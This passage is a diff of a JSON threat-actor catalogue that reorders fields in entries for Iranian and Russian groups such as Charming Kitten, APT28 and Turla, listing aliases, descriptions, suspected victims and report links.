+ "description": "While tracking a suspected Iran-based threat group known as Threat Group-2889[1] (TG-2889), Dell SecureWorks Counter Threat Unit™ (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889. One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016. ",
"meta": {
- "country": "IR",
- "synonyms": [
- "ITSecTeam",
- "Threat Group 2889",
- "TG-2889",
- "Ghambar"
- ],
- "refs": [
- "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/",
- "https://www.cfr.org/interactive/cyber-operations/itsecteam"
- ],
+ "cfr-suspected-state-sponsor": " Iran (Islamic Republic of)",
"cfr-suspected-victims": [
"Bank of America",
"US Bancorp",
@@ -1141,26 +1144,42 @@
"Capital One",
"HSBC"
],
- "cfr-suspected-state-sponsor": " Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Denial of service",
"cfr-target-category": [
"Private sector"
+ ],
+ "cfr-type-of-incident": "Denial of service",
+ "country": "IR",
+ "refs": [
+ "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/",
+ "https://www.cfr.org/interactive/cyber-operations/itsecteam"
+ ],
+ "synonyms": [
+ "ITSecTeam",
+ "Threat Group 2889",
+ "TG-2889",
+ "Ghambar"
]
},
- "description": "While tracking a suspected Iran-based threat group known as Threat Group-2889[1] (TG-2889), Dell SecureWorks Counter Threat Unit™ (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889. One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016. ",
- "value": "Cutting Kitten",
- "uuid": "11e17436-6ede-4733-8547-4ce0254ea19e"
+ "uuid": "11e17436-6ede-4733-8547-4ce0254ea19e",
+ "value": "Cutting Kitten"
},
{
+ "description": "Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.",
"meta": {
- "country": "IR",
- "synonyms": [
- "Newscaster",
- "Parastoo",
- "iKittens",
- "Group 83",
- "Newsbeef"
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
+ "cfr-suspected-victims": [
+ "U.S. government/defense sector websites",
+ "Saudi Arabia",
+ "Israel",
+ "Iraq",
+ "United Kingdom"
],
+ "cfr-target-category": [
+ "Government",
+ "Military"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "IR",
"refs": [
"https://en.wikipedia.org/wiki/Operation_Newscaster",
"https://iranthreats.github.io/resources/macdownloader-macos-malware/",
@@ -1173,71 +1192,47 @@
"https://github.com/gasgas4/APT_CyberCriminal_Campagin/tree/master/2014/2014.05.28.NewsCaster_An_Iranian_Threat_Within_Social_Networks",
"https://www.cfr.org/interactive/cyber-operations/newscaster"
],
- "cfr-suspected-victims": [
- "U.S. government/defense sector websites",
- "Saudi Arabia",
- "Israel",
- "Iraq",
- "United Kingdom"
- ],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government",
- "Military"
+ "synonyms": [
+ "Newscaster",
+ "Parastoo",
+ "iKittens",
+ "Group 83",
+ "Newsbeef"
]
},
- "value": "Charming Kitten",
- "description": "Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.",
- "uuid": "f98bac6b-12fd-4cad-be84-c84666932232"
+ "uuid": "f98bac6b-12fd-4cad-be84-c84666932232",
+ "value": "Charming Kitten"
},
{
+ "description": "Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.",
"meta": {
"country": "IR",
- "synonyms": [],
"refs": [
"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"
- ]
+ ],
+ "synonyms": []
},
- "description": "Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.",
- "value": "APT33",
- "uuid": "4f69ec6d-cb6b-42af-b8e2-920a2aa4be10"
+ "uuid": "4f69ec6d-cb6b-42af-b8e2-920a2aa4be10",
+ "value": "APT33"
},
{
+ "description": "Earliest activity back to November 2008. An established group of cyber attackers based in Iran, who carried on several campaigns in 2013, including a series of attacks targeting political dissidents and those supporting Iranian political opposition.",
"meta": {
"country": "IR",
- "synonyms": [
- "Group 42"
- ],
"refs": [
"http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/"
+ ],
+ "synonyms": [
+ "Group 42"
]
},
- "description": "Earliest activity back to November 2008. An established group of cyber attackers based in Iran, who carried on several campaigns in 2013, including a series of attacks targeting political dissidents and those supporting Iranian political opposition.",
- "value": "Magic Kitten",
- "uuid": "2e77511d-f72f-409e-9b64-e2a15efe9bf4"
+ "uuid": "2e77511d-f72f-409e-9b64-e2a15efe9bf4",
+ "value": "Magic Kitten"
},
{
+ "description": "Targets Saudi Arabia, Israel, US, Iran, high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.",
"meta": {
- "synonyms": [
- "TEMP.Beanie",
- "Operation Woolen Goldfish",
- "Operation Woolen-Goldfish",
- "Thamar Reservoir",
- "Timberworm"
- ],
- "country": "IR",
- "refs": [
- "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing",
- "https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf",
- "http://www.clearskysec.com/thamar-reservoir/",
- "https://citizenlab.org/2015/08/iran_two_factor_phishing/",
- "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf",
- "https://www.symantec.com/connect/blogs/shamoon-multi-staged-destructive-attacks-limited-specific-targets",
- "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/",
- "https://en.wikipedia.org/wiki/Rocket_Kitten",
- "https://www.cfr.org/interactive/cyber-operations/rocket-kitten"
- ],
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
"cfr-suspected-victims": [
"Saudi Arabia",
"Venezuela",
@@ -1255,46 +1250,47 @@
"Syria",
"Jordan"
],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Military"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "IR",
+ "refs": [
+ "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing",
+ "https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf",
+ "http://www.clearskysec.com/thamar-reservoir/",
+ "https://citizenlab.org/2015/08/iran_two_factor_phishing/",
+ "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf",
+ "https://www.symantec.com/connect/blogs/shamoon-multi-staged-destructive-attacks-limited-specific-targets",
+ "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/",
+ "https://en.wikipedia.org/wiki/Rocket_Kitten",
+ "https://www.cfr.org/interactive/cyber-operations/rocket-kitten"
+ ],
+ "synonyms": [
+ "TEMP.Beanie",
+ "Operation Woolen Goldfish",
+ "Operation Woolen-Goldfish",
+ "Thamar Reservoir",
+ "Timberworm"
]
},
- "description": "Targets Saudi Arabia, Israel, US, Iran, high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.",
- "value": "Rocket Kitten",
- "uuid": "f873db71-3d53-41d5-b141-530675ade27a",
"related": [
{
"dest-uuid": "ba724df5-9aa0-45ca-8e0e-7101c208ae48",
- "type": "similar",
"tags": [
"estimative-language:likelihood-probability=\"very-likely\""
- ]
+ ],
+ "type": "similar"
}
- ]
+ ],
+ "uuid": "f873db71-3d53-41d5-b141-530675ade27a",
+ "value": "Rocket Kitten"
},
{
+ "description": "A group of cyber actors utilizing infrastructure located in Iran have been conducting computer network exploitation activity against public and private U.S. organizations, including Cleared Defense Contractors (CDCs), academic institutions, and energy sector companies.",
"meta": {
- "country": "IR",
- "synonyms": [
- "Operation Cleaver",
- "Tarh Andishan",
- "Alibaba",
- "2889",
- "TG-2889",
- "Cobalt Gypsy",
- "Ghambar",
- "Cutting Kitten",
- "Group 41"
- ],
- "refs": [
- "http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf",
- "https://www.secureworks.com/research/the-curious-case-of-mia-ash",
- "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/",
- "https://www.cfr.org/interactive/cyber-operations/operation-cleaver"
- ],
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
"cfr-suspected-victims": [
"Canada",
"France",
@@ -1312,35 +1308,51 @@
"Qatar",
"Turkey"
],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Private sector",
"Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "IR",
+ "refs": [
+ "http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf",
+ "https://www.secureworks.com/research/the-curious-case-of-mia-ash",
+ "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/",
+ "https://www.cfr.org/interactive/cyber-operations/operation-cleaver"
+ ],
+ "synonyms": [
+ "Operation Cleaver",
+ "Tarh Andishan",
+ "Alibaba",
+ "2889",
+ "TG-2889",
+ "Cobalt Gypsy",
+ "Ghambar",
+ "Cutting Kitten",
+ "Group 41"
]
},
- "value": "Cleaver",
- "description": "A group of cyber actors utilizing infrastructure located in Iran have been conducting computer network exploitation activity against public and private U.S. organizations, including Cleared Defense Contractors (CDCs), academic institutions, and energy sector companies.",
- "uuid": "86724806-7ec9-4a48-a0a7-ecbde3bf4810"
+ "uuid": "86724806-7ec9-4a48-a0a7-ecbde3bf4810",
+ "value": "Cleaver"
},
{
"meta": {
"country": "IR"
},
- "value": "Sands Casino",
- "uuid": "1de1a64e-ea14-4e79-9e41-6958bdb6c0ff"
+ "uuid": "1de1a64e-ea14-4e79-9e41-6958bdb6c0ff",
+ "value": "Sands Casino"
},
{
+ "description": "This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.",
"meta": {
"country": "TN",
+ "motive": "Hacktivism-Nationalist",
"synonyms": [
"FallagaTeam"
- ],
- "motive": "Hacktivism-Nationalist"
+ ]
},
- "value": "Rebel Jackal",
- "description": "This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.",
- "uuid": "29af2812-f7fb-4edb-8cc4-86d0d9e3644b"
+ "uuid": "29af2812-f7fb-4edb-8cc4-86d0d9e3644b",
+ "value": "Rebel Jackal"
},
{
"meta": {
@@ -1349,36 +1361,13 @@
"Vikingdom"
]
},
- "value": "Viking Jackal",
- "uuid": "7f99ba32-421c-4905-9deb-006e8eda40c1"
+ "uuid": "7f99ba32-421c-4905-9deb-006e8eda40c1",
+ "value": "Viking Jackal"
},
{
+ "description": "The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group believed to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and security organizations. It has been characterized as an advanced persistent threat.",
"meta": {
- "synonyms": [
- "APT 28",
- "APT28",
- "Pawn Storm",
- "Fancy Bear",
- "Sednit",
- "TsarTeam",
- "TG-4127",
- "Group-4127",
- "STRONTIUM",
- "TAG_0700",
- "Swallowtail",
- "IRON TWILIGHT",
- "Group 74"
- ],
- "country": "RU",
- "refs": [
- "https://en.wikipedia.org/wiki/Sofacy_Group",
- "https://aptnotes.malwareconfig.com/web/viewer.html?file=../APTnotes/2014/apt28.pdf",
- "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf",
- "https://www2.fireeye.com/rs/848-DID-242/images/wp-mandiant-matryoshka-mining.pdf",
- "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
- "http://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/",
- "https://www.cfr.org/interactive/cyber-operations/apt-28"
- ],
+ "cfr-suspected-state-sponsor": "Russian Federation",
"cfr-suspected-victims": [
"Georgia",
"France",
@@ -1406,45 +1395,44 @@
"Kazakhstan",
"China"
],
- "cfr-suspected-state-sponsor": "Russian Federation",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Military"
- ]
- },
- "description": "The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group believed to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and security organizations. It has been characterized as an advanced persistent threat.",
- "value": "Sofacy",
- "uuid": "5b4ee3ea-eee3-4c8e-8323-85ae32658754"
- },
- {
- "meta": {
- "synonyms": [
- "Dukes",
- "Group 100",
- "Cozy Duke",
- "CozyDuke",
- "EuroAPT",
- "CozyBear",
- "CozyCar",
- "Cozer",
- "Office Monkeys",
- "OfficeMonkeys",
- "APT29",
- "Cozy Bear",
- "The Dukes",
- "Minidionis",
- "SeaDuke",
- "Hammer Toss"
],
+ "cfr-type-of-incident": "Espionage",
"country": "RU",
"refs": [
- "https://labsblog.f-secure.com/2015/09/17/the-dukes-7-years-of-russian-cyber-espionage/",
- "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf",
- "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf",
- "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
- "https://www.cfr.org/interactive/cyber-operations/dukes"
+ "https://en.wikipedia.org/wiki/Sofacy_Group",
+ "https://aptnotes.malwareconfig.com/web/viewer.html?file=../APTnotes/2014/apt28.pdf",
+ "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf",
+ "https://www2.fireeye.com/rs/848-DID-242/images/wp-mandiant-matryoshka-mining.pdf",
+ "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
+ "http://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/",
+ "https://www.cfr.org/interactive/cyber-operations/apt-28"
],
+ "synonyms": [
+ "APT 28",
+ "APT28",
+ "Pawn Storm",
+ "Fancy Bear",
+ "Sednit",
+ "TsarTeam",
+ "TG-4127",
+ "Group-4127",
+ "STRONTIUM",
+ "TAG_0700",
+ "Swallowtail",
+ "IRON TWILIGHT",
+ "Group 74"
+ ]
+ },
+ "uuid": "5b4ee3ea-eee3-4c8e-8323-85ae32658754",
+ "value": "Sofacy"
+ },
+ {
+ "description": "A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States;Asian, African, and Middle Eastern governments;organizations associated with Chechen extremism;and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large - scale spear - phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash - and - grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible.If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long - term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '",
+ "meta": {
+ "cfr-suspected-state-sponsor": "Russian Federation",
"cfr-suspected-victims": [
"United States",
"China",
@@ -1462,46 +1450,45 @@
"Portugal",
"India"
],
- "cfr-suspected-state-sponsor": "Russian Federation",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "RU",
+ "refs": [
+ "https://labsblog.f-secure.com/2015/09/17/the-dukes-7-years-of-russian-cyber-espionage/",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf",
+ "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf",
+ "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
+ "https://www.cfr.org/interactive/cyber-operations/dukes"
+ ],
+ "synonyms": [
+ "Dukes",
+ "Group 100",
+ "Cozy Duke",
+ "CozyDuke",
+ "EuroAPT",
+ "CozyBear",
+ "CozyCar",
+ "Cozer",
+ "Office Monkeys",
+ "OfficeMonkeys",
+ "APT29",
+ "Cozy Bear",
+ "The Dukes",
+ "Minidionis",
+ "SeaDuke",
+ "Hammer Toss"
]
},
- "value": "APT 29",
- "description": "A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States;Asian, African, and Middle Eastern governments;organizations associated with Chechen extremism;and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large - scale spear - phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash - and - grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible.If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long - term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '",
- "uuid": "b2056ff0-00b9-482e-b11c-c771daa5f28a"
+ "uuid": "b2056ff0-00b9-482e-b11c-c771daa5f28a",
+ "value": "APT 29"
},
{
+ "description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'",
"meta": {
- "synonyms": [
- "Turla",
- "Snake",
- "Venomous Bear",
- "Group 88",
- "Waterbug",
- "WRAITH",
- "Turla Team",
- "Uroburos",
- "Pfinet",
- "TAG_0530",
- "KRYPTON",
- "Hippo Team"
- ],
- "refs": [
- "https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf",
- "https://www.circl.lu/pub/tr-25/",
- "https://www.theguardian.com/technology/2014/aug/07/turla-hackers-spying-governments-researcher-kaspersky-symantec",
- "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf",
- "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/",
- "https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/",
- "https://securelist.com/blog/research/67962/the-penquin-turla-2/",
- "https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf",
- "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
- "https://www.cfr.org/interactive/cyber-operations/turla"
- ],
- "country": "RU",
+ "cfr-suspected-state-sponsor": "Russian Federation",
"cfr-suspected-victims": [
"France",
"Romania",
@@ -1519,35 +1506,46 @@
"Uzbekistan",
"Iraq"
],
- "cfr-suspected-state-sponsor": "Russian Federation",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Military"
- ]
- },
- "value": "Turla Group",
- "description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'",
- "uuid": "fa80877c-f509-4daf-8b62-20aba1635f68"
- },
- {
- "meta": {
- "synonyms": [
- "Dragonfly",
- "Crouching Yeti",
- "Group 24",
- "Havex",
- "CrouchingYeti",
- "Koala Team"
],
+ "cfr-type-of-incident": "Espionage",
"country": "RU",
"refs": [
- "http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/",
- "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf",
- "http://www.netresec.com/?page=Blog&month=2014-10&post=Full-Disclosure-of-Havex-Trojans",
- "https://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit/104772/",
- "https://www.cfr.org/interactive/cyber-operations/crouching-yeti"
+ "https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf",
+ "https://www.circl.lu/pub/tr-25/",
+ "https://www.theguardian.com/technology/2014/aug/07/turla-hackers-spying-governments-researcher-kaspersky-symantec",
+ "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf",
+ "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/",
+ "https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/",
+ "https://securelist.com/blog/research/67962/the-penquin-turla-2/",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf",
+ "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
+ "https://www.cfr.org/interactive/cyber-operations/turla"
],
+ "synonyms": [
+ "Turla",
+ "Snake",
+ "Venomous Bear",
+ "Group 88",
+ "Waterbug",
+ "WRAITH",
+ "Turla Team",
+ "Uroburos",
+ "Pfinet",
+ "TAG_0530",
+ "KRYPTON",
+ "Hippo Team"
+ ]
+ },
+ "uuid": "fa80877c-f509-4daf-8b62-20aba1635f68",
+ "value": "Turla Group"
+ },
+ {
+ "description": "A Russian group that collects intelligence on the energy industry.",
+ "meta": {
+ "cfr-suspected-state-sponsor": "Russian Federation",
"cfr-suspected-victims": [
"United States",
"Germany",
@@ -1560,36 +1558,35 @@
"Italy",
"Poland"
],
- "cfr-suspected-state-sponsor": "Russian Federation",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Private sector",
"Government"
- ]
- },
- "description": "A Russian group that collects intelligence on the energy industry.",
- "value": "Energetic Bear",
- "uuid": "64d6559c-6d5c-4585-bbf9-c17868f763ee"
- },
- {
- "meta": {
- "synonyms": [
- "Sandworm Team",
- "Black Energy",
- "BlackEnergy",
- "Quedagh",
- "Voodoo Bear",
- "TEMP.Noble"
],
+ "cfr-type-of-incident": "Espionage",
"country": "RU",
"refs": [
- "http://www.isightpartners.com/2014/10/cve-2014-4114/",
- "http://www.isightpartners.com/2016/01/ukraine-and-sandworm-team/",
- "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf",
- "https://www.us-cert.gov/ncas/alerts/TA17-163A",
- "https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid",
- "https://www.cfr.org/interactive/cyber-operations/black-energy"
+ "http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/",
+ "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf",
+ "http://www.netresec.com/?page=Blog&month=2014-10&post=Full-Disclosure-of-Havex-Trojans",
+ "https://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit/104772/",
+ "https://www.cfr.org/interactive/cyber-operations/crouching-yeti"
],
+ "synonyms": [
+ "Dragonfly",
+ "Crouching Yeti",
+ "Group 24",
+ "Havex",
+ "CrouchingYeti",
+ "Koala Team"
+ ]
+ },
+ "uuid": "64d6559c-6d5c-4585-bbf9-c17868f763ee",
+ "value": "Energetic Bear"
+ },
+ {
+ "description": "This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage",
+ "meta": {
+ "cfr-suspected-state-sponsor": "Russian Federation",
"cfr-suspected-victims": [
"Russia",
"Lithuania",
@@ -1603,18 +1600,34 @@
"Azerbaijan",
"Iran"
],
- "cfr-suspected-state-sponsor": "Russian Federation",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Private sector",
"Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "RU",
+ "refs": [
+ "http://www.isightpartners.com/2014/10/cve-2014-4114/",
+ "http://www.isightpartners.com/2016/01/ukraine-and-sandworm-team/",
+ "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf",
+ "https://www.us-cert.gov/ncas/alerts/TA17-163A",
+ "https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid",
+ "https://www.cfr.org/interactive/cyber-operations/black-energy"
+ ],
+ "synonyms": [
+ "Sandworm Team",
+ "Black Energy",
+ "BlackEnergy",
+ "Quedagh",
+ "Voodoo Bear",
+ "TEMP.Noble"
]
},
- "value": "Sandworm",
